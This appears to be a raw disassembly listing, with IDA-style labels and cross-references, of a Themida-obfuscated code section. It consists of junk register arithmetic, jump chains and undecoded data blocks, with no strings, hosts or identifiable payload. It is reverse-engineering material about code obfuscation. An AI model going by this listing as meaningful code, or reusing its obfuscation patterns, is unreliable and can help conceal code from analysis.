		push	dword ptr [esp]
		jmp	loc_5EEFB9
; ---------------------------------------------------------------------------
		dw 30ACh
		dd 4EC81D8h, 89000000h,	89B7241Ch, 0E90EC780h, 0F97h, 3072BE56h
		dd 0AFE91B82h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5F497F:				; CODE XREF: Themida_:005F0CEDj
		mov	ebx, 3DAB6A1Fh
		jmp	loc_5EBB9A
; ---------------------------------------------------------------------------
		db 5Ch,	8Bh, 0Ch
		dd 4C48124h, 80000000h,	0E5E9D5C3h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F499B:				; CODE XREF: Themida_:005F0D58j
		pop	eax
		dec	edx
		jmp	loc_5F1771
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C1h, 4C18100h, 87000000h, 248B240Ch, 53E1F724h, 0B67AE954h
		dd 2B9FFFFh, 68000000h,	226Ch, 1036E9h,	240C8900h, 240C8B54h
		dd 32E068h, 0E5F1E900h,	0C131FFFFh, 0E924048Bh,	11A0h
; ---------------------------------------------------------------------------


loc_5F49E8:				; CODE XREF: Themida_:005ED12Ej
		add	esp, 4
		pop	edx


loc_5F49EF:				; CODE XREF: Themida_:005F28EBj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5F501A
; ---------------------------------------------------------------------------


loc_5F49FD:				; CODE XREF: Themida_:005EC6AEj
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		jmp	loc_5F547C
; ---------------------------------------------------------------------------
		dd 0EB81CB01h, 38555495h, 0FFCD77E9h, 8CE956FFh, 66000002h
		dd 9C240CD3h, 0FF5891E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F4A25:				; CODE XREF: Themida_:005F3F45j
		add	ebp, 65D67A5Fh
		shl	ebp, 4
		shl	ebp, 2
		inc	ebp
		jmp	loc_5F3C3D
; ---------------------------------------------------------------------------
		db 54h
		dd 83241C8Bh, 0BF5704C4h, 0BCF571Fh, 571BF781h,	0FB010BCFh
		dd 2653685Fh, 4890000h,	0D313E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F4A5A:				; CODE XREF: Themida_:005F53E4j
		pop	ebp
		jmp	loc_5F5E3B
; ---------------------------------------------------------------------------
		dd 51FFEE83h, 0E72819B9h, 8CE1812Fh, 0E9060A6Ch, 0E2Ah
		dd 0BA52DFF7h, 602B06E5h, 21E9D709h, 89FFFFD9h,	0E789243Ch
		dd 4BA52h, 0CDE90000h, 33FFFFE6h, 1DE9242Ch, 83FFFF87h
		dd 348904ECh, 24048B24h, 81E18951h, 4C1h, 4C18300h, 5C240C87h
		dd 86E9565Eh, 66FFFFBBh, 8124148Bh, 2C4h, 65B15100h, 0D9F6C9FEh
		dd 53E68956h, 4BBh, 0E9DE0100h,	0FFFF97DEh
; ---------------------------------------------------------------------------


loc_5F4ADC:				; CODE XREF: Themida_:005F0C73j
		sub	ecx, 7B490DB5h
		shl	ecx, 6
		push	ebp
		mov	ebp, 48773359h
		xor	ecx, ebp
		pop	ebp
		jmp	loc_5EBC6E
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5EA469
; ---------------------------------------------------------------------------


loc_5F4B01:				; CODE XREF: Themida_:005EDD0Dj
		mov	esi, [esp]
		add	esp, 4
		or	ebx, ebx
		jnz	loc_5ECAE9
		push	73BDh
		jmp	loc_5ECCBD
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 5AE95124h, 5FFFFC7h,	4, 179AE9h, 21996800h, 3C890000h
		dd 17E95224h, 5BFFFF79h, 5C240C87h, 240C8966h, 0C8B60F66h
		dd 0E99C5166h, 0FFFF5766h, 24048F5Eh, 2404895Ch, 5052E089h
		dd 0FF8AD1E9h, 0C4815AFFh, 4, 78E4E281h, 0C28176F9h, 0E0EFC000h
		dd 0C15AD021h, 0C83118E8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5EE1A0
; ---------------------------------------------------------------------------
		dd 53F7C981h, 0F181370Ch, 29F9187Dh, 4CC868h, 24348900h
		dd 3A82BA52h, 0B2E96410h, 0E9FFFF64h, 0FFFF570Eh, 0E902C083h
		dd 0FFFF6BD3h
; ---------------------------------------------------------------------------


loc_5F4BB0:				; CODE XREF: Themida_:005F4177j
		add	esp, 4
		add	eax, 12EF64DEh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 7E564D24h
		push	ebp
		jmp	loc_5EFC83
; ---------------------------------------------------------------------------
		db 0BDh, 4, 0
		dd 0EB810000h, 59AE01C1h, 61E9EB01h, 2900000Ah,	34FF5EF3h
		dd 89535E24h, 4C381E3h,	81000000h, 4C3h, 241C8700h, 0FFAE06E9h
		dd 4C481FFh, 81000000h,	1E9h, 0ADF18100h, 549C00Bh, 36457D2Ah
		dd 0BD55C829h, 157878B7h, 0FF6920E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F4C1D:				; CODE XREF: Themida_:005EB515j
		push	eax
		mov	eax, 15717CAFh
		shl	eax, 1
		neg	eax
		neg	eax
		and	eax, 7BB72486h
		add	eax, 4103E3E1h
		xor	edx, eax
		pop	eax
		jmp	loc_5F414A
; ---------------------------------------------------------------------------


loc_5F4C3B:				; CODE XREF: Themida_:005F222Cj
		push	6514h
		mov	[esp], esi
		mov	esi, 2E8A293Eh
		or	esi, 268C78B6h
		push	ecx
		mov	ecx, 28944072h
		jmp	loc_5F576B
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 68h
		dd 727Fh, 0BA241489h, 4, 0E95AD101h, 0BE9h, 472BEE81h
		dd 0DE013130h, 472BC681h, 1C8B3130h, 4C48124h, 83000000h
		dd 0D6E902C6h, 0B9FFFFE3h, 4, 8159CB01h, 2C3h, 753AE900h
		dd 0FE9FFFFh, 55FFFF56h, 2F0B41BDh, 81D5F77Eh, 5C2C7FEDh
		dd 51BB531Ah, 430C1202h, 3597F381h, 0DD019499h,	0E9EE895Bh
		dd 0FFFFDF83h, 805BDE88h, 0E95312EEh, 0FFFF5A2Ch
; ---------------------------------------------------------------------------


loc_5F4CD8:				; CODE XREF: Themida_:005F24DEj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		push	ebx
		mov	ebx, 1490758h
		mov	ecx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 24110F9Ch
		jmp	loc_5F653D
; ---------------------------------------------------------------------------
		dw 5056h
		dd 28C4BB53h, 67B820F2h, 0E937446Dh, 0FFFF7DCFh, 0A1117CB8h
		dd 0E4E9504Bh, 5DFFFFBEh, 6859C829h, 48F4h, 68242C89h
		dd 607Fh, 0BB241C89h, 3D387143h, 0FFD27BE9h, 4D828FFh
		dd 0A14DE91Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F4D3A:				; CODE XREF: Themida_:005EE225j
		pop	edx
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	ebp
		push	2ED27C57h
		pop	ebp
		shr	ebp, 8
		or	ebp, 350444C5h
		shl	ebp, 7
		push	edi
		mov	edi, 57922F53h
		or	edi, 415E1BD3h
		jmp	loc_5F63F7
; ---------------------------------------------------------------------------
		dd 5C240433h, 0FFCE20E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F4D71:				; CODE XREF: Themida_:005EB0B3j
		sub	edx, 20946E0Ah
		mov	ecx, [esp]
		jmp	loc_5F09B6
; ---------------------------------------------------------------------------
		db 58h
		dd 154AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5F4D85:				; CODE XREF: Themida_:005F3753j
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		jmp	loc_5F5EBE
; ---------------------------------------------------------------------------


loc_5F4D98:				; CODE XREF: Themida_:005F0FE9j
		push	3ECE4FF4h
		pop	edi
		push	0
		jmp	loc_5ED817
; ---------------------------------------------------------------------------
		dd 0B60FC330h, 48F66C0h, 85B9E987h, 5B66FFFFh, 0FFCD28E9h
		dd 4C281FFh, 56000000h,	4BEh, 0BB7FE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F4DCE:				; CODE XREF: Themida_:005EEF01j
		add	esp, 4
		xor	edi, ecx
		pop	ecx
		xor	edi, 0A44C3E31h
		and	ebp, edi
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 470C6203h
		xor	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4


loc_5F4DFE:				; CODE XREF: Themida_:005EBFC3j
					; Themida_:005F2B7Bj
		push	dword ptr [edi+24h]
		push	ebp
		jmp	loc_5ECD74
; ---------------------------------------------------------------------------


loc_5F4E07:				; CODE XREF: Themida_:005EDB7Fj
		sub	ebx, ebp
		mov	ebp, [esp]
		push	edx
		jmp	loc_5F57F5
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 83240489h, 348904ECh, 4BE24h, 58560000h, 8324348Bh
		dd 0B6E904C4h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F4E33:				; CODE XREF: Themida_:005EC7E0j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2EB75C6Dh
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5EB5DE
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 8704C583h, 0E95C242Ch, 0FFFFF6E5h
; ---------------------------------------------------------------------------


loc_5F4E64:				; CODE XREF: Themida_:005ED64Dj
		pop	ecx
		jmp	loc_5EF0AB
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 81000000h, 0EF039EC1h, 81D10103h, 4ECh, 243C8900h, 0FF806CE9h
		dd 1CF757FFh, 0B8505F24h, 10AD09FDh, 0FFCA9EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F4E95:				; CODE XREF: Themida_:005F4519j
		shr	eax, 0Ch
		jmp	loc_5EF644
; ---------------------------------------------------------------------------
		db 1, 0F5h, 0E9h
		dd 0FFFFF418h, 8059CB28h, 0C38001EBh, 8052E932h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F4EB2:				; CODE XREF: Themida_:005EE1F7j
		mov	[esp], ebp
		push	5D4Fh
		mov	[esp], esi
		jmp	loc_5EB67D
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 4EC8124h, 89000000h,	4BE2434h, 89000000h, 0C6815EF3h
		dd 71AF6402h, 0EE81DE29h, 71AF6402h, 0A463E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F4EEA:				; CODE XREF: Themida_:005F14D2j
		sub	esp, 4
		jmp	loc_5EEB8A
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0CFh
		dd 5E1A3A4Fh, 5C241C87h, 0FFB9C9E9h, 0F8E981FFh, 1397E47h
		dd 0F8C181F9h, 0E9397E47h, 0FFFFF953h, 3A3CE981h, 0C1812698h
		dd 431E5F73h, 9CF0C181h, 0C8319C6Bh, 8BC28959h,	0C4812404h
		dd 4, 0FFAB82E9h, 0BAE951FFh, 81FFFFD0h, 0E513DDC6h, 5EF7890Eh
		dd 0EAD45EBBh, 5FFB01E4h, 295BDE29h, 30BF57FEh,	4F2C0C01h
		dd 0FFC097E9h, 246C81FFh, 5C402304h, 24440100h,	24448104h
		dd 5C402304h, 24448100h, 0F81BC404h, 6186E970h,	0F281FFFFh
		dd 7DD13CFFh, 0FF8EDAE9h, 0C9E95BFFh, 33FFFFFAh, 0C31240Ch
		dd 0E961E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F4FA2:				; CODE XREF: Themida_:005F3361j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5EAD09
; ---------------------------------------------------------------------------


loc_5F4FB0:				; CODE XREF: Themida_:005EB6BDj
		xor	eax, edx
		push	edx
		push	5145h
		jmp	loc_5EDA13
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C6h
		dd 7D02AA7h, 2434875Fh,	2404895Ch, 0FF52E5E9h, 248B66FFh
		dd 52DCE924h, 68FFFFh, 81000000h, 13282404h, 4296A43h
		dd 242C8124h, 6A431328h, 0FF55B6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F4FF5:				; CODE XREF: Themida_:005EFD24j
		xchg	ecx, edx
		jmp	loc_5F40B2
; ---------------------------------------------------------------------------
		dd 60B6E95Ah, 1C89FFFFh, 55E38924h, 4BDh, 5DEB0100h, 25D968h
		dd 56B9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F501A:				; CODE XREF: Themida_:005F49F8j
		push	ebx
		mov	esi, [esp]
		push	eax
		jmp	loc_5EC64E
; ---------------------------------------------------------------------------


loc_5F5024:				; CODE XREF: Themida_:005F1810j
		pop	esp
		add	ebx, 4
		push	edx
		mov	edx, 719F7B97h
		sub	edx, 719F7B93h
		add	ebx, edx
		jmp	loc_5F0F4D
; ---------------------------------------------------------------------------
		dw 0C31h
		dd 240C3324h, 6624248Bh, 6866F9F7h, 89662C09h, 50662414h
		dd 0EB47E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F505A:				; CODE XREF: Themida_:005ED84Aj
		sub	ebx, 48E95F42h
		mov	edi, ebx
		jmp	loc_5F3960
; ---------------------------------------------------------------------------
		db 83h
		dd 348704C4h, 34FF5C24h, 0EC815924h, 4,	54241489h, 70D3E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F5082:				; CODE XREF: Themida_:005F64A1j
		mov	ebp, 75E03AD8h
		jmp	loc_5EC80C
; ---------------------------------------------------------------------------
aS_7		db ']',0Dh,0
		align 2
		dw 0CD3h
		dd 1BE99C24h, 55FFFF52h, 2434FF54h, 4C4815Dh, 51000000h
		dd 131FA3B9h, 676AE904h, 665CFFFFh, 51241489h, 0FFB3DBE9h
		dd 242C81FFh, 18DB6B70h, 17242C81h, 0E91BEA21h,	0FFFF51E6h
		dd 89240489h, 4BB53E0h,	2D000000h, 214C287Eh, 7E05D801h
		dd 0FF214C28h, 0E95B2434h, 0FFFF6F2Ah, 0D8ADE959h, 15EFFFFh
		dd 0BE565BD8h, 2, 875EF001h, 37E92404h,	5BFFFFCFh, 8159C801h
		dd 4ECh, 24048900h, 42D5BF57h, 0B3B8014Dh, 0E93B1DEEh
		dd 0FFFF52ACh, 4A6290BAh, 8BD18962h, 0C4812414h, 4, 8904EC83h
		dd 0B1BE2434h, 316F6D3Ah, 0C1415EF1h, 0CCE903E9h, 81FFFFF1h
		dd 0D5BBF3h, 5BD9012Ah,	10BBE9h, 5AD08900h, 158C701h, 4AEF81DFh
		dd 5B0DC237h, 31243C33h, 3C33243Ch, 0D3665C24h,	0E99C243Ch
		dd 0FFFF5136h, 2C0835Ah, 0E9240487h, 0DA4h, 8704C483h
		dd 248B240Ch, 4FF6624h,	17E99C24h, 87FFFF51h, 0E95C243Ch
		dd 0FFFF510Eh, 93FD89BFh, 5FF80140h, 0FFF6ADE9h, 34CD80FFh
		dd 3029C580h, 0D00059EAh, 0E924148Bh, 0FFFF9130h, 24048B66h
		dd 0FF8901E9h, 243C8BFFh, 8704C483h, 248B2414h,	0E3895324h
		dd 4C381h, 0C3810000h, 4, 31241C33h, 1C33241Ch,	0C2095C24h
		dd 0A9E9E2D1h
		db 79h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F51FF:				; CODE XREF: Themida_:005EE3EBj
		sub	ebp, 0C1412CEh
		not	ebp
		not	ebp
		add	ebp, 86B177E8h
		mov	eax, ebp
		pop	ebp
		push	ecx
		mov	ecx, 7C8F4791h
		jmp	loc_5EDAFF
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0F3h
		dd 5020358Ch, 34FFD821h, 241C8B24h, 8104C483h, 4C4h, 0BD7EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F523A:				; CODE XREF: Themida_:005EF050j
		pop	ebx
		push	38DBh
		mov	[esp], eax
		push	3227h
		mov	[esp], ebp
		push	ecx
		mov	ecx, 195F1E41h
		mov	ebp, ecx
		pop	ecx
		push	edi
		push	ebx
		mov	ebx, 37047E6Dh
		shl	ebx, 8
		shl	ebx, 2
		neg	ebx
		jmp	loc_5F1B31
; ---------------------------------------------------------------------------


loc_5F5268:				; CODE XREF: Themida_:005F39F4j
		push	ecx
		jmp	loc_5EBDDD
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 0B34DE924h, 0EF81FFFFh, 4, 5C243C87h, 89243C89h, 4C781E7h
		dd 50000000h, 468h, 0C7295800h,	74FF5758h, 8F5F0424h, 5EE92404h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F52A3:				; CODE XREF: Themida_:005EC5D7j
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	eax
		mov	eax, 2
		sub	esp, 4
		mov	[esp], eax
		push	5E48254Ah
		jmp	loc_5F631A
; ---------------------------------------------------------------------------
		dd 2BBh, 0A9E98100h, 0E9463B05h, 0FFFF9B92h, 3E737EBEh
		dd 7BE68106h, 50210303h, 0FFBE5CE9h, 0CF8158FFh, 66E97A74h
		dd 26FAF781h, 28E9081Eh
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F52F7:				; CODE XREF: Themida_:005EDB00j
		not	ecx
		push	esi
		jmp	loc_5EDBCB
; ---------------------------------------------------------------------------
		db 54h
		dd 0E9240C8Bh, 0FFFF7DA9h, 0E9241C8Bh, 0FFFFBDD3h, 0F7ECC781h
		dd 0F80189DBh, 0FF9952E9h, 0E7E95AFFh, 89FFFF8Dh, 8EE9241Ch
		dd 41FFFF95h, 0C981D9F7h, 1672471Fh, 6C44E981h,	0CB0109DCh
		dd 240C8B59h, 81E68956h, 4C6h, 4C68100h, 87000000h, 815C2434h
		dd 2C3h, 241C3300h, 33241C31h, 248B241Ch, 48B6624h, 4EC8124h
		dd 89000000h, 0E6892434h, 8F00E952h, 7E35FFFFh,	1193265h
		dd 414158C1h, 0B5D9F181h, 0C8011ABBh, 0FFE58FE9h, 89565BFFh
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 0FC3305Ch, 6866C0B6h
		dd 89666F80h, 0FFE92404h, 66FFFF4Eh, 83240C8Bh,	0C5E904ECh
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F53C3:				; CODE XREF: Themida_:005EFDEEj
		shl	dl, 3
		sub	dl, 0C4h
		sub	al, 0B7h
		jmp	loc_5F11FA
; ---------------------------------------------------------------------------


loc_5F53D0:				; CODE XREF: Themida_:005F2108j
		add	eax, esi
		sub	eax, 686132DCh
		jmp	loc_5F62E2
; ---------------------------------------------------------------------------


loc_5F53DC:				; CODE XREF: Themida_:005EEBA7j
		add	esp, 4
		xor	esi, ebp
		push	dword ptr [esp]
		jmp	loc_5F4A5A
; ---------------------------------------------------------------------------
aVst		db 'V',0Dh,0
		dw 5C00h
		dd 2C381h, 1C870000h, 0F665C24h, 5166C8AFh, 4EB0E99Ch
		dd 0C89FFFFh, 0C96CE924h, 0C8BFFFFh, 4C48124h, 28000000h
		dd 685A66F0h, 3D0Eh, 0B4240489h, 0ADD3E949h, 0B951FFFFh
		dd 4, 8759CB01h, 815C241Ch, 4C1h, 4BA5200h, 0E9000000h
		dd 0FFFF8175h, 4B9515Dh, 1000000h, 0C58159CDh, 2, 31242C33h
		dd 2C33242Ch, 24248B24h, 0E9028864h, 0FFFF4E4Ah, 3512F2BEh
		dd 0E8C6815Eh, 0E9D5463Ah, 0FFFF650Bh
; ---------------------------------------------------------------------------


loc_5F547C:				; CODE XREF: Themida_:005F4A03j
		pop	esp
		jmp	loc_5F14B3
; ---------------------------------------------------------------------------
		dw 5457h
		dd 0E92434FFh, 0FFFFE0C5h, 6A5668h, 241C8900h, 0FFF59EE9h
		dd 43C181FFh, 81DC5DAAh, 3269F7EEh, 0F7EE811Dh,	12DC315h
		dd 0F7C681CEh, 812DC315h, 3269F7C6h, 240C8B1Dh,	0FFFBA6E9h
		dd 8E1C1FFh, 8102E9C1h,	614FC0F1h, 59CA0129h, 0FF95C3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F54D5:				; CODE XREF: Themida_:005F4253j
		add	al, cl
		push	edx
		mov	dh, 0DFh
		dec	dh
		xor	dh, 84h
		shl	dh, 2
		shl	dh, 6
		push	eax
		mov	al, 2Ch
		and	dh, al
		jmp	loc_5F1163
; ---------------------------------------------------------------------------
		db 33h
		dd 1E92414h
		db 72h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F54F7:				; CODE XREF: Themida_:005F1907j
		and	ebp, 41EC0CFCh
		jmp	loc_5EFD29
; ---------------------------------------------------------------------------
		dw 0F109h
		dd 0E981495Eh, 0FF57FC2Eh, 0FFC0BFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F5511:				; CODE XREF: Themida_:005F5E74j
		add	esp, 4
		jmp	loc_5F122C
; ---------------------------------------------------------------------------
		dd 1A1A68h, 0A3F1E900h,	1489FFFFh, 0E9C28824h, 0FFFFCFFBh
		dd 5704C483h, 0FFE5CEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F5539:				; CODE XREF: Themida_:005EC4C6j
		pop	edx
		neg	ebx
		sub	ebx, 3D105B07h
		push	edi
		mov	edi, 2BCBF4C2h
		sub	ebx, edi
		pop	edi
		mov	ecx, ebx
		pop	ebx
		jmp	loc_5EBE41
; ---------------------------------------------------------------------------


loc_5F5553:				; CODE XREF: Themida_:005F291Aj
		sub	eax, 0ECD0B555h
		mov	ecx, eax
		mov	eax, [esp]
		jmp	loc_5F0882
; ---------------------------------------------------------------------------
		dd offset dword_60F468
		dw 8900h
		dd 9E68241Ch, 8900006Eh, 0E789243Ch, 4C781h, 0EF810000h
		dd 4, 5C243C87h, 53242489h, 0FF8785E9h,	0BDE955FFh, 29FFFFF8h
		dd 0CD815FFDh, 75BD62C2h, 0BF57D5F7h, 82021D24h, 78FAC581h
		dd 0FD291EFFh, 78FAED81h, 28E91EFFh, 66FFFFDAh,	5024048Bh
		dd 0FF5400E9h, 4BAFFh, 0D0010000h, 8124148Bh, 4C4h, 0B8A6E900h
		dd 3C89FFFFh, 55B0BF24h, 0F9011010h, 81243C8Bh,	4C4h, 7DE95000h
		dd 52FFFFACh, 0FF770CE9h, 0C7815FFFh, 4, 2B850h, 0EF810000h
		dd 6050005Ch, 0B6E9C701h, 83FFFFC0h, 4FE904C4h,	56FFFFC7h
		dd 3F2EBD55h, 0FE94DFDh, 50000002h, 0E0C0CDB0h,	4E27E908h
		dd 0EE81FFFFh, 0F632EEDCh, 0E95EF329h, 0FFFF7C22h, 1C1C381h
		dd 515D59AEh, 2B9h, 8BCB0100h, 5452240Ch, 4C2815Ah, 83000000h
		dd 80E904C2h, 53FFFF80h, 0C3DC9BBh, 0DFCB8105h,	4318F87Eh
		dd 5E75E381h, 65E948E4h, 59FFFF6Ah, 0B7B4505Bh,	0FFC194E9h
		dd 713305FFh, 0E8E96047h, 66FFFFB0h, 5321C781h,	2E7C166h
		dd 0C8EF8166h, 0FD0966A9h, 8DF9E95Fh, 0F700FFFFh, 0EAE7E95Ah
		dd 38BAFFFFh, 4A34C91Eh, 0ECE7F281h, 0D5013BE7h, 0FFCDFBE9h
		dd 240431FFh, 5C240433h, 9C240CFEh, 0FFA36DE9h,	0D2F681FFh
		dd 31B470D6h, 24348BF1h, 0C104C483h, 0D9F705E1h, 0E906E9C1h
		dd 0FFFFBB65h, 3DED814Dh, 923E88Eh, 0C690E9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F56F6:				; CODE XREF: Themida_:005F6522j
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		mov	edx, 733464A8h
		shl	edx, 4
		and	edx, 9034BBBh
		xor	edx, 1024A84h
		add	eax, edx
		pop	edx
		push	7553h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	small word ptr [eax]
		jmp	loc_5EA2B6
; ---------------------------------------------------------------------------
		dd 56242C8Bh, 0A8E9E689h, 89FFFF77h, 0BD55240Ch, 2DFA0E30h
		dd 2BBEF581h, 0E95262F6h, 0FFFFFF5Ah, 63C3C581h, 34FF4C62h
		dd 0C4835A24h, 242C3304h, 33242C31h, 2E9242Ch
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F576B:				; CODE XREF: Themida_:005F4C54j
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	edx, 46E702D5h
		add	edx, 1300FE16h
		jmp	loc_5F0C78
; ---------------------------------------------------------------------------
		dw 35B7h
		dd 305BF988h, 285966CEh, 24148BF0h, 0FFC68FE9h,	241489FFh
		dd 31B1E4B2h, 5AD130h, 0F82859C8h, 72BE952h, 74FF0000h
		dd 0C8B0424h, 4C48324h,	5C24048Fh, 0FFC12EE9h, 70EDB8FFh
		dd 0D8312243h, 0E9C6015Bh, 0FFFF95B0h, 4A30F66h, 4EE99C24h
		dd 80FFFF7Dh, 0E95132EBh, 0FFFFF112h, 0FF4AD1E9h, 5BD931FFh
		dd 0FF50FFE9h, 0EB895FFFh, 0FF8F45E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F57F5:				; CODE XREF: Themida_:005F4E0Dj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5ECFE5
; ---------------------------------------------------------------------------


loc_5F5808:				; CODE XREF: Themida_:005F6326j
		push	edx
		mov	edx, 1AD02D8Dh
		sub	edx, 1
		sub	edx, 135EEB1h
		sub	ecx, edx
		pop	edx
		sub	ecx, 5E48254Ah
		pop	eax
		xchg	ecx, [esp]
		jmp	loc_5F1834
; ---------------------------------------------------------------------------
		dd 0EACFE9ADh, 0D5F7FFFFh, 0E906E5C1h, 0FFFF7695h, 4EC81h
		dd 36E90000h, 0E9FFFFB7h, 0FFFF4A6Ah
; ---------------------------------------------------------------------------


loc_5F584C:				; CODE XREF: Themida_:005EC676j
		push	ecx
		jmp	loc_5EF64C
; ---------------------------------------------------------------------------
		dw 4B2Ch
		dd 0FF6B7DE9h, 4BB53FFh, 29000000h, 241C8BD9h, 8704C483h
		dd 39E9240Ch
		db 0CCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5F586F:				; CODE XREF: Themida_:005F5A95j
		mov	esi, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_5EF3EB
; ---------------------------------------------------------------------------
		dw 0E888h
		dd 0FFA0CCE9h, 243487FFh, 5324248Bh, 493468h, 24048900h
		dd 8851D088h, 59EB88C5h, 4B5FE958h, 0E981FFFFh,	40DD0DEh
		dd 34FFCE01h, 0C4835924h, 0C098E904h, 0D435FFFFh, 2D3EA014h
		dd 18E91337h, 2809A505h, 22DC2D64h, 0FD052C57h,	162E313h
		dd 0BAE958C7h, 100000Ah, 79685AD7h, 0E9000076h,	0FFFF7584h
; ---------------------------------------------------------------------------


loc_5F58E0:				; CODE XREF: Themida_:005ECF93j
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		xor	ebp, 0F2146F4h
		jmp	loc_5EFA71
; ---------------------------------------------------------------------------
		db 80h
		dd 0C3E95FC7h, 4BFFFFC2h, 0FF6878E9h, 1C895CFFh, 81E38924h
		dd 4C3h, 4C38100h, 87000000h, 0BBE9241Ch, 31FFFF76h, 0D5095BDAh
		dd 43ED815Ah, 2900FFC8h, 0F746E9E8h, 405FFFFh, 5000000h
		dd 4, 0FFA0D4E9h, 0FEDDB2FFh, 80DAF6C2h, 0EA8089CAh, 2DEA80C2h
		dd 9EE9D000h, 81FFFFD3h, 0B7440CC2h, 5AD389B1h,	53E9DBF7h
		dd 83FFFF9Dh, 3E904C7h,	89FFFFD6h, 5CE92404h, 5CFFFF6Bh
		dd 31243C33h, 0CCE9243Ch, 89FFFFBEh, 7327E9E3h,	0F009FFFFh
		dd 8324348Bh, 250D04C4h, 0E91D117Ah, 0FFFFB225h, 0E9242C89h
		dd 0FFFFB0C5h, 0C6FEB5B6h, 2835C680h, 0C3285AF3h, 0E945B652h
		dd 0FFFF8667h, 835BDE01h, 0EBE904ECh, 66FFFFF4h, 5024048Bh
		dd 0FFE167E9h, 0ED814DFFh, 1D2E1A72h, 0FFA069E9h, 5EF701FFh
		dd 4C781h, 0FF570000h, 8B042474h, 91E9243Ch, 89FFFF5Ah
		dd 72BF243Ch, 15A4535h,	0C2815FFAh, 0B8B0595h, 0FFA79FE9h
		dd 81E189FFh, 4C1h, 4C18300h, 31240C33h, 0C33240Ch, 0FF59E924h
		dd 0FB29FFFFh, 197BEB81h, 0D15F01A8h, 0EEEB81E3h, 89312C93h
		dd 0F8BEE9DAh, 0E389FFFFh, 0FF8893E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5F5A51:				; CODE XREF: Themida_:005F3846j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		add	ecx, 2A253C94h
		push	72FDh
		mov	[esp], eax
		push	edi
		push	800h
		pop	edi
		push	esi
		mov	esi, edi
		mov	eax, esi
		jmp	loc_5F586F
; ---------------------------------------------------------------------------
		dw 335Ah
		dd 1C31241Ch, 241C3324h, 0E089505Ch, 405h, 67BEE900h, 92CFFFFh
